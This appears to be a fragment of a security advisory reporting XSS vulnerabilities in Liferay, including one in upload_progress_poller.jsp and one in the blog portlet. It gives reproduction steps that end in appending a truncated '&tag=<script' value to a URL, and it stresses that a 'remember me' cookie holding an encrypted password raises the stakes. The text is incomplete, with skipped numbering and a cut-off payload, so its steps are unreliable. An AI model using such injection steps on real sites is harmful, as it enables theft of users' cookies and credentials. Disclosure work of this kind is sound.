Multiple xss vulnerabilities where found in liferay. Because liferay  
has a "remember me"  
option in their login screen that stores an encrypted password in a  
cookie this is more  
problematic than it otherwise would be  
  
1. xss vulnerability in upload_progress_poller.jsp

4. xss vulnerability in the blog portlet  
  
To reproduce :  
  
1. Drag the blog on the home page,  
2. create a blog and add this blog to a category.  
3. Go to the list of blog posts, click on the link to category that  
you assigned to the blog to,  
4. append &tag=<script

was created when you clicked on the link in step 3
